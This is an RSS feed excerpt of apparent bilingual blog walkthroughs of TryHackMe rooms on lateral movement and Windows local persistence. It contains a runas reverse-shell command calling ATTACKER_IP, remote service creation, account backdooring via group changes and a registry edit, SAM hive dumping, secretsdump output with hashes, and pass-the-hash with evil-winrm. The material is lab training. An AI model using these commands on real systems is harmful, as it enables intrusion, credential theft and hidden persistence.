&lt;p&gt;Since &lt;strong&gt;sc.exe&lt;/strong&gt; doesn&amp;#39;t allow us to specify credentials as part of the command, we need to use &lt;strong&gt;runas&lt;/strong&gt; to spawn a new shell with t1_leonard.summer&amp;#39;s access token. Still, we only have &lt;u&gt;SSH&lt;/u&gt; access to the machine, so if we tried something like &lt;strong&gt;runas /netonly /user:ZA\t1_leonard.summers cmd.exe&lt;/strong&gt;, the new command prompt would spawn on the user&amp;#39;s session, but we would have no access to it. To overcome this problem, we can use runas to spawn a second reverse shell with t1_leonard.summers access token:&lt;br&gt;由于 &lt;strong&gt;sc.exe&lt;/strong&gt; 不允许我们指定凭据作为命令的一部分，我们需要使用它 &lt;strong&gt;runas&lt;/strong&gt; 来生成带有 t1_leonard.summer 访问令牌的新 shell。尽管如此，我们只有对计算机的 SSH 访问权限，因此如果我们尝试类似 &lt;strong&gt;runas /netonly /user:ZA\t1_leonard.summers cmd.exe&lt;/strong&gt; ，新的命令提示符将在用户的会话中生成，但我们将无法访问它。为了克服这个问题，我们可以使用 runas 生成第二个带有 t1_leonard.summers 访问令牌的反向 shell：&lt;/p&gt;
&lt;p&gt;THMJMP2: Command Prompt THMJMP2：命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers &amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Remember that since you are using &lt;strong&gt;runas&lt;/strong&gt; with the &lt;strong&gt;/netonly&lt;/strong&gt; option, it will not bother to check if the provided credentials are valid (more info on this on the &lt;a href=&quot;https://tryhackme.com/room/adenumeration&quot;&gt;EnumeratingADroom&lt;/a&gt;), so be sure to type the password correctly. If you don&amp;#39;t, you will see some ACCESS DENIED errors later in the room.&lt;br&gt;注意：请记住，由于您 &lt;strong&gt;runas&lt;/strong&gt; 使用的是该 &lt;strong&gt;/netonly&lt;/strong&gt; 选项，因此不会费心检查提供的凭据是否有效（有关此内容的更多信息，请参阅枚举 AD 房间），因此请务必正确键入密码。否则，稍后会在房间中看到一些 ACCESS DENIED 错误。&lt;/p&gt;
&lt;p&gt;We can receive the reverse shell connection using nc in our AttackBox as usual:&lt;br&gt;我们可以像往常一样在 AttackBox 中使用 nc 接收反向 shell 连接：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ nc -lvp 4443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, proceed to create a new service remotely by using sc, associating it with our uploaded binary:&lt;br&gt;最后，继续使用 sc 远程创建一个新服务，并将其与我们上传的二进制文件相关联：&lt;/p&gt;
&lt;p&gt;THMJMP2: Command Prompt (As t1_leonard.summers) THMJMP2：命令提示符（如 t1_leonard.summers）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= &amp;quot;%windir%\myservice.exe&amp;quot; start= auto
C:\&amp;gt; sc.exe \\thmiis.za.tryhackme.com start THMservice-3249
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Be sure to change the name of your service to avoid clashing with other students.&lt;br&gt;请务必更改您的服务名称，以避免与其他学生发生冲突。&lt;/p&gt;
&lt;p&gt;Once you have started the service, you should receive a connection in your AttackBox from where you can access the first flag on t1_leonard.summers desktop.&lt;br&gt;启动服务后，您应该会在 AttackBox 中收到一个连接，您可以从中访问 t1_leonard.summers 桌面上的第一个标志。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;After running the &amp;quot;flag.exe&amp;quot; file on t1_leonard.summers desktop on THMIIS, what is the flag?&lt;br&gt;在THMIIS的t1_leonard.summers桌面上运行“flag.exe”文件后，标志是什么？&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-lateral-movement-and-pivoting/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-lateral-movement-and-pivoting/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 07 Jul 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Windows Local Persistence</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-local-persistence/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-local-persistence/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After gaining the first foothold on your target&amp;#39;s internal network, you&amp;#39;ll want to ensure you don&amp;#39;t lose access to it before actually getting to the crown jewels. Establishing persistence is one of the first tasks we&amp;#39;ll have as attackers when gaining access to a network. In simple terms, persistence refers to creating alternate ways to regain access to a host without going through the exploitation phase all over again.&lt;br&gt;在目标的内部网络上获得第一个立足点后，您需要确保在真正到达皇冠上的宝石之前不会失去对它的访问权限。建立持久性是我们作为攻击者在访问网络时的首要任务之一。简单来说，持久性是指创建替代方法来重新获得对主机的访问权限，而无需重新经历利用阶段。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;cc&lt;/p&gt;
&lt;p&gt;There are many reasons why you&amp;#39;d want to establish persistence as quick as possible, including:&lt;br&gt;希望尽快建立持久性的原因有很多，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Re-exploitation isn&amp;#39;t always possible&lt;/strong&gt;: Some unstable exploits might kill the vulnerable process during exploitation, getting you a single shot at some of them.&lt;br&gt;重新利用并不总是可能的：一些不稳定的漏洞可能会在利用过程中杀死易受攻击的进程，让您对其中一些进程进行一次攻击。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gaining a foothold is hard to reproduce&lt;/strong&gt;: For example, if you used a phishing campaign to get your first access, repeating it to regain access to a host is simply too much work. Your second campaign might also not be as effective, leaving you with no access to the network.&lt;br&gt;获得立足点是很难重现的：例如，如果您使用网络钓鱼活动来获得首次访问权限，那么重复它以重新获得对主机的访问权限实在是太费力了。您的第二个广告系列也可能不那么有效，让您无法访问该网络。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The blue team is after you&lt;/strong&gt;: Any vulnerability used to gain your first access might be patched if your actions get detected. You are in a race against the clock!&lt;br&gt;蓝队正在追捕你：如果你的行为被检测到，任何用于获得你第一次访问权限的漏洞都可能被修补。你正在与时间赛跑！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While you could do with keeping some administrator&amp;#39;s password hash and reusing it to connect back, you always risk those credentials getting rotated at some point. Plus, there are sneakier ways in which you could regain access to a compromised machine, making life harder for the blue team.&lt;br&gt;虽然您可以保留一些管理员的密码哈希并重复使用它来重新连接，但您总是冒着这些凭据在某个时候被轮换的风险。此外，还有一些偷偷摸摸的方法可以让你重新获得对受感染机器的访问权限，让蓝队的生活更加艰难。&lt;/p&gt;
&lt;p&gt;In this room, we&amp;#39;ll look at the most common techniques attackers use to establish persistence in Windows systems. Before going into this room, it is recommended to be familiar with Windows systems fundamentals. You can check rooms on the matter in the following links:&lt;br&gt;在此会议室中，我们将介绍攻击者用于在 Windows 系统中建立持久性的最常用技术。在进入这个房间之前，建议熟悉 Windows 系统基础知识。您可以在以下链接中查看有关此事的房间：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/windowsfundamentals1xbx&quot;&gt;Windows Fundamentals 1Windows 基础知识 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/windowsfundamentals2x0x&quot;&gt;Windows Fundamentals 2Windows 基础知识 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Powershell is also used extensively throughout this room. You can learn more about it in the &lt;a href=&quot;https://tryhackme.com/room/powershell&quot;&gt;Hacking with Powershell&lt;/a&gt; room.&lt;br&gt;Powershell 也在整个房间内广泛使用。您可以在 Hacking with Powershell 聊天室中了解有关它的更多信息。&lt;/p&gt;
&lt;h1&gt;Tampering With Unprivileged Accounts&lt;/h1&gt;
&lt;p&gt;Having an administrator&amp;#39;s credential would be the easiest way to achieve persistence in a machine. However, to make it harder for the blue team to detect us, we can manipulate unprivileged users, which usually won&amp;#39;t be monitored as much as administrators, and grant them administrative privileges somehow.&lt;br&gt;拥有管理员凭据是在计算机中实现持久性的最简单方法。但是，为了让蓝队更难发现我们，我们可以操纵非特权用户，这些用户通常不会像管理员那样受到监控，并以某种方式授予他们管理权限。&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Start Machine&lt;/strong&gt; button on this task before continuing. The machine will be available on your web browser, but if you prefer connecting via &lt;u&gt;RDP&lt;/u&gt;, you can use the following credentials:&lt;br&gt;单击此任务上的“启动计算机”按钮，然后继续。计算机将在 Web 浏览器上可用，但如果您更喜欢通过 RDP 进行连接，则可以使用以下凭据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Administrator&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When you log in via &lt;u&gt;RDP&lt;/u&gt;, the existing in-browser view will be disconnected. After you terminate your &lt;u&gt;RDP&lt;/u&gt; session you can get the in-browser view back by pressing &lt;strong&gt;Reconnect&lt;/strong&gt;.&lt;br&gt;注意：当您通过 RDP 登录时，现有的浏览器内视图将断开连接。终止 RDP 会话后，可以通过按“重新连接”来恢复浏览器内视图。  &lt;/p&gt;
&lt;p&gt;Notice that we assume you have already gained administrative access somehow and are trying to establish persistence from there.&lt;br&gt;请注意，我们假设您已经以某种方式获得了管理访问权限，并尝试从那里建立持久性。&lt;/p&gt;
&lt;p&gt;Assign Group Memberships 分配组成员身份&lt;/p&gt;
&lt;p&gt;For this part of the task, we will assume you have dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.&lt;br&gt;对于这部分任务，我们将假设您已经转储了受害计算机的密码哈希，并成功破解了正在使用的非特权帐户的密码。&lt;/p&gt;
&lt;p&gt;The direct way to make an unprivileged user gain administrative privileges is to make it part of the &lt;strong&gt;Administrators&lt;/strong&gt; group. We can easily achieve this with the following command:&lt;br&gt;使非特权用户获得管理权限的直接方法是使其成为 Administrators 组的一部分。我们可以通过以下命令轻松实现这一点：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; net localgroup administrators thmuser0 /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will allow you to access the server by using &lt;u&gt;RDP&lt;/u&gt;, WinRM or any other remote administration service available.&lt;br&gt;这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务访问服务器。&lt;/p&gt;
&lt;p&gt;If this looks too suspicious, you can use the &lt;strong&gt;Backup Operators&lt;/strong&gt; group. Users in this group won&amp;#39;t have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured &lt;u&gt;DACL&lt;/u&gt;. This would allow us to copy the content of the SAM and SYSTEM registry hives, which we can then use to recover the password hashes for all the users, enabling us to escalate to any administrative account trivially.&lt;br&gt;如果这看起来太可疑，可以使用“备份操作员”组。此组中的用户将不具有管理权限，但将允许读取/写入系统上的任何文件或注册表项，而忽略任何配置的 DACL。这将允许我们复制 SAM 和 SYSTEM 注册表配置单元的内容，然后我们可以使用它来恢复所有用户的密码哈希，使我们能够简单地升级到任何管理帐户。&lt;/p&gt;
&lt;p&gt;To do so, we begin by adding the account to the Backup Operators group:&lt;br&gt;为此，我们首先将帐户添加到“备份操作员”组：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; net localgroup &amp;quot;Backup Operators&amp;quot; thmuser1 /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since this is an unprivileged account, it cannot &lt;u&gt;RDP&lt;/u&gt; or WinRM back to the machine unless we add it to the &lt;strong&gt;Remote Desktop Users&lt;/strong&gt; (&lt;u&gt;RDP&lt;/u&gt;) or &lt;strong&gt;Remote Management Users&lt;/strong&gt; (WinRM) groups. We&amp;#39;ll use WinRM for this task:&lt;br&gt;由于这是一个非特权帐户，因此除非我们将其添加到远程桌面用户 （RDP） 或远程管理用户 （WinRM） 组，否则它无法 RDP 或 WinRM 返回计算机。我们将使用 WinRM 执行此任务：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; net localgroup &amp;quot;Remote Management Users&amp;quot; thmuser1 /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#39;ll assume we have already dumped the credentials on the server and have thmuser1&amp;#39;s password. Let&amp;#39;s connect via WinRM using its credentials:&lt;br&gt;我们假设我们已经在服务器上转储了凭据，并拥有 thmuser1 的密码。让我们使用其凭据通过 WinRM 进行连接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;thmuser1&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If you tried to connect right now from your attacker machine, you&amp;#39;d be surprised to see that even if you are on the Backups Operators group, you wouldn&amp;#39;t be able to access all files as expected. A quick check on our assigned groups would indicate that we are a part of Backup Operators, but the group is disabled:&lt;br&gt;如果您现在尝试从攻击者计算机进行连接，您会惊讶地发现，即使您在“备份操作员”组中，也无法按预期访问所有文件。快速检查我们分配的组将表明我们是 Backup Operators 的一部分，但该组已禁用：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ evil-winrm -i 10.10.159.200 -u thmuser1 -p Password321

*Evil-WinRM* PS C:\&amp;gt; whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is due to User Account Control (&lt;u&gt;UAC&lt;/u&gt;). One of the features implemented by &lt;u&gt;UAC&lt;/u&gt;, &lt;strong&gt;LocalAccountTokenFilterPolicy&lt;/strong&gt;, strips any local account of its administrative privileges when logging in remotely. While you can elevate your privileges through UAC from a graphical user session (Read more on UAC &lt;a href=&quot;https://tryhackme.com/room/windowsfundamentals1xbx&quot;&gt;here&lt;/a&gt;), if you are using WinRM, you are confined to a limited access token with no administrative privileges.&lt;br&gt;这是由于用户帐户控制 （UAC） 造成的。UAC 实现的功能之一 LocalAccountTokenFilterPolicy 在远程登录时会剥夺任何本地帐户的管理权限。虽然你可以通过图形用户会话的 UAC 提升权限（在此处阅读有关 UAC 的详细信息），但如果你使用的是 WinRM，则仅限于没有管理权限的有限访问令牌。&lt;/p&gt;
&lt;p&gt;To be able to regain administration privileges from your user, we&amp;#39;ll have to disable LocalAccountTokenFilterPolicy by changing the following registry key to 1:&lt;br&gt;为了能够从用户那里重新获得管理权限，我们必须通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once all of this has been set up, we are ready to use our backdoor user. First, let&amp;#39;s establish a WinRM connection and check that the Backup Operators group is enabled for our user:&lt;br&gt;一旦所有这些设置完成，我们就可以使用我们的后门用户了。首先，让我们建立一个 WinRM 连接，并检查是否为用户启用了备份操作员组：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ evil-winrm -i 10.10.159.200 -u thmuser1 -p Password321
        
*Evil-WinRM* PS C:\&amp;gt; whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators             Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users      Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                 Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then proceed to make a backup of SAM and SYSTEM files and download them to our attacker machine:&lt;br&gt;然后，我们继续备份 SAM 和 SYSTEM 文件并将它们下载到我们的攻击者机器上：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\&amp;gt; reg save hklm\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\&amp;gt; reg save hklm\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\&amp;gt; download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\&amp;gt; download sam.bak
    Info: Download successful!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If Evil-WinRM takes too long to download the files, feel free to use any other transfer method.&lt;br&gt;注意：如果 Evil-WinRM 下载文件的时间太长，请随时使用任何其他传输方法。&lt;/p&gt;
&lt;p&gt;With those files, we can dump the password hashes for all users using &lt;strong&gt;secretsdump.py&lt;/strong&gt; or other similar tools:&lt;br&gt;使用这些文件，我们可以转储使用 &lt;strong&gt;secretsdump.py&lt;/strong&gt; 或其他类似工具的所有用户的密码哈希：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, perform Pass-the-Hash to connect to the victim machine with Administrator privileges:&lt;br&gt;最后，执行 Pass-the-Hash 以管理员权限连接到受害计算机：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ evil-winrm -i 10.10.159.200 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the Administrator console gained through the thmuser1, execute &lt;strong&gt;C:\flags\flag1.exe&lt;/strong&gt; to retrieve your flag.
使用通过 thmuser1 获得的管理员控制台，执行 &lt;strong&gt;C:\flags\flag1.exe&lt;/strong&gt; 以检索您的标志。&lt;/p&gt;
&lt;p&gt;Special Privileges and Security Descriptors&lt;br&gt;特殊权限和安全描述符&lt;/p&gt;
&lt;p&gt;A similar result to adding a user to the Backup Operators group can be achieved without modifying any group membership. Special groups are only special because the operating system assigns them specific privileges by default. &lt;strong&gt;Privileges&lt;/strong&gt; are simply the capacity to do a task on the system itself. They include simple things like having the capabilities to shut down the server up to very privileged operations like being able to take ownership of any file on the system. A complete list of available privileges can be found &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants&quot;&gt;here&lt;/a&gt; for reference.&lt;br&gt;无需修改任何组成员身份即可实现与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊，是因为操作系统默认为它们分配了特定权限。特权只是在系统本身上执行任务的能力。它们包括简单的事情，例如能够关闭服务器，以及非常特权的操作，例如能够获得系统上任何文件的所有权。可以在此处找到可用权限的完整列表以供参考。&lt;/p&gt;
&lt;p&gt;In the case of the Backup Operators group, it has the following two privileges assigned by default:&lt;br&gt;对于 Backup Operators 组，默认情况下，它具有以下两个权限分配：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SeBackupPrivilege:&lt;/strong&gt; The user can read any file in the system, ignoring any &lt;u&gt;DACL&lt;/u&gt; in place.&lt;br&gt;SeBackupPrivilege：用户可以读取系统中的任何文件，忽略任何 DACL。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SeRestorePrivilege:&lt;/strong&gt; The user can write any file in the system, ignoring any &lt;u&gt;DACL&lt;/u&gt; in place.&lt;br&gt;SeRestorePrivilege：用户可以写入系统中的任何文件，忽略任何 DACL。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can assign such privileges to any user, independent of their group memberships. To do so, we can use the &lt;strong&gt;secedit&lt;/strong&gt; command. First, we will export the current configuration to a temporary file:&lt;br&gt;我们可以将此类权限分配给任何用户，而与其组成员身份无关。为此，我们可以使用该 &lt;strong&gt;secedit&lt;/strong&gt; 命令。首先，我们将当前配置导出到一个临时文件中：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;secedit /export /cfg config.inf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We open the file and add our user to the lines in the configuration regarding the SeBackupPrivilege and SeRestorePrivilege:&lt;br&gt;我们打开文件，将用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行中：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We finally convert the .inf file into a .sdb file which is then used to load the configuration back into the system:&lt;br&gt;最后，我们将 .inf 文件转换为 .sdb 文件，然后用于将配置加载回系统：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should now have a user with equivalent privileges to any Backup Operator. The user still can&amp;#39;t log into the system via WinRM, so let&amp;#39;s do something about it. Instead of adding the user to the Remote Management Users group, we&amp;#39;ll change the security descriptor associated with the WinRM service to allow thmuser2 to connect. Think of a &lt;strong&gt;security descriptor&lt;/strong&gt; as an &lt;u&gt;ACL&lt;/u&gt; but applied to other system facilities.&lt;br&gt;现在，您应该具有与任何 Backup Operator 具有同等权限的用户。用户仍然无法通过 WinRM 登录系统，因此让我们对此做些什么。我们将更改与 WinRM 服务关联的安全描述符，以允许 thmuser2 连接，而不是将用户添加到远程管理用户组。将安全描述符视为 ACL，但应用于其他系统设施。&lt;/p&gt;
&lt;p&gt;To open the configuration window for WinRM&amp;#39;s security descriptor, you can use the following command in Powershell (you&amp;#39;ll need to use the &lt;u&gt;GUI&lt;/u&gt; session for this):&lt;br&gt;若要打开 WinRM 安全描述符的配置窗口，可以在 Powershell 中使用以下命令（为此需要使用 GUI 会话）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will open a window where you can add thmuser2 and assign it full privileges to connect to WinRM:&lt;br&gt;这将打开一个窗口，您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完全权限：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once we have done this, our user can connect via WinRM. Since the user has the SeBackup and SeRestore privileges, we can repeat the steps to recover the password hashes from the SAM and connect back with the Administrator user.&lt;br&gt;完成此操作后，我们的用户可以通过 WinRM 进行连接。由于用户具有 SeBackup 和 SeRestore 权限，因此我们可以重复这些步骤以从 SAM 恢复密码哈希并重新连接管理员用户。&lt;/p&gt;
&lt;p&gt;Notice that for this user to work with the given privileges fully, you&amp;#39;d have to change the &lt;strong&gt;LocalAccountTokenFilterPolicy&lt;/strong&gt; registry key, but we&amp;#39;ve done this already to get the previous flag.&lt;br&gt;请注意，要使此用户完全使用给定的权限，必须更改 LocalAccountTokenFilterPolicy 注册表项，但我们已经执行此操作以获取上一个标志。&lt;/p&gt;
&lt;p&gt;If you check your user&amp;#39;s group memberships, it will look like a regular user. Nothing suspicious at all!&lt;br&gt;如果检查用户的组成员身份，它将看起来像普通用户。一点可疑都没有！&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; net user thmuser2
User name                    thmuser2

Local Group Memberships      *Users
Global Group memberships     *None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, we&amp;#39;ll assume we have already dumped the credentials on the server and have thmuser2&amp;#39;s password. Let&amp;#39;s connect with its credentials using WinRM:&lt;br&gt;再一次，我们假设我们已经在服务器上转储了凭据并拥有 thmuser2 的密码。让我们使用 WinRM 连接其凭据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
